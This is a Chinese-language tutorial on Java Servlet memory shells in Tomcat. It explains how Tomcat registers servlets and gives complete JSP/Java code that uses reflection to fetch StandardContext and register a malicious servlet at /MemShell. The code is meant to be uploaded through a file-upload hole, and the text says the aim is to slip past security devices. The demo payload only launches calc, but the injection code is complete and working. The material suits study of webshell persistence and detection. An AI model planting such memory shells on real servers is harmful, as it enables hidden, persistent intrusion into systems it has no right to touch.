WEB安全--Java安全--Servlet内存马

一、知识补充

1.1、Servlet

Servlet 是sun公司开发动态web的一门技术

Servlet 在个人理解中就是一个接口,我们需要利用Servlet这个技术就得实现该接口,具体:

编写一个类,实现Servlet接口

把这个写好的类部署到web服务器(Tomcat)中,运行

1.2、Tomcat

Tomcat 是一个开源的 Java Web 应用服务器,类比 IIs、Nginx...

它主要用于运行由 Java 编写的 Servlet 和 JavaServer Pages (JSP) 应用程序

Tomcat可以容纳运行多个servlet

1.3、示例

编写一个HelloWorld类,实现Servlet接口

在web.xml文件中把我们的HelloWorld类动态注册进Tomcat中

启动Tomcat,访问我们注册时所定义的路径:/hello-servlet

二、Servlet内存马原理

2.1、思考

假如我们发现一个Tomcat的系统存在文件上传,并且能解析我们的jsp文件,为了防止安全设备的检测,注入内存马是一个很有效的手段。

那该怎么做呢?

Servlet内存马,顾名思义肯定是把我们的webshell写成一个恶意类继承Servlet接口,然后把这个恶意servlet动态注册到Tomcat服务器中。

将恶意类封装成jsp文件是很容易实现的,但是如何注册呢?

按上面的方式肯定是不现实的,我们不能直接编辑服务器的xml文件;但是有另一种方式注册我们的恶意servlet,我们可以参考Tomcat通过xml文件注册的流程,编写代码仿照它的形式实现注入servlet内存马

2.2、注册流程分析

Tomcat通过xml文件注册servlet对象

图一

Tomcat对servlet的封装处理

图二

由图一知道最初会进入ContextConfigure类中的configureContext()方法

configureContext(WebXml webxml) 先接收注册传递的xml配置信息,封装成StandardContext ,对应着下图的 this.context

xml配置信息:

为了使configureContext(WebXml webxml) 也能接收到我们恶意类的信息,可以利用request对象,先获取一个ServletContext 对象其中声明了applicationContext ,然后再反射获取applicationContext 中的StandardContext

java 复制代码
//动态注册恶意servlet

//获取applicationContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//获取standardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext)standardContextField.get(applicationContext);

接着在拿到StandardContext后,会对其进行一系列的操作;

首先是封装成一个wrapper(参考图二),并且对其进行操作

java 复制代码
Wrapper wrapper = context.createWrapper();
wrapper.setName("MemServlet");
wrapper.setServletClass(MemServlet.class.getName());

此时我们将恶意类实例化

java 复制代码
wrapper.setServlet(new MemServlet());

然后是将其放入Context中,并且定义访问的路由

java 复制代码
context.addChild(wrapper);
context.addServletMappingDecoded("/MemShell","MemServlet");

这样就实现了一个普通的servlet的模拟注册

java 复制代码
//获取applicationContext
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
//获取standardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);
//仿造处理standardContext对象
Wrapper wrapper = context.createWrapper();
wrapper.setName("MemServlet");
wrapper.setServletClass(MemServlet.class.getName());
//实例化恶意类
wrapper.setServlet(new MemServlet());
//添加到Context中
context.addChild(wrapper);
//仿造处理mapping路由
context.addServletMappingDecoded("/MemShell","MemServlet");

三、servlet内存马实现

3.1、构造恶意的jsp文件

将恶意类和模仿的注册流程封装成jsp文件

java 复制代码
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.Writer" %>
<%@ page import="org.apache.catalina.Wrapper" %><%--
  Created by IntelliJ IDEA.
  User: 86183
  Date: 2025/8/15
  Time: 11:22
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<%!
    public class MemServlet extends HttpServlet {
        private String message;

        public void init() {
            message = "Hello World!";
        }

        public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
            Runtime.getRuntime().exec("calc");
        }

        public void destroy() {
        }
    }
%>

<%
    ServletContext servletContext = request.getServletContext();
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext context = (StandardContext) standardContextField.get(applicationContext);

    Wrapper wrapper = context.createWrapper();
    wrapper.setName("MemServlet");
    wrapper.setServletClass(MemServlet.class.getName());
    wrapper.setServlet(new MemServlet());

    context.addChild(wrapper);
    context.addServletMappingDecoded("/MemShell","MemServlet");
%>
</body>
</html>

3.2、动态加载内存马

运行Tomcat

由于Tomcat的惰性加载机制,我们上传的servlet不会被立刻加载到内存中;需要我们先访问恶意的jsp文件,他才会加载恶意servlet

此时再访问恶意servlet路径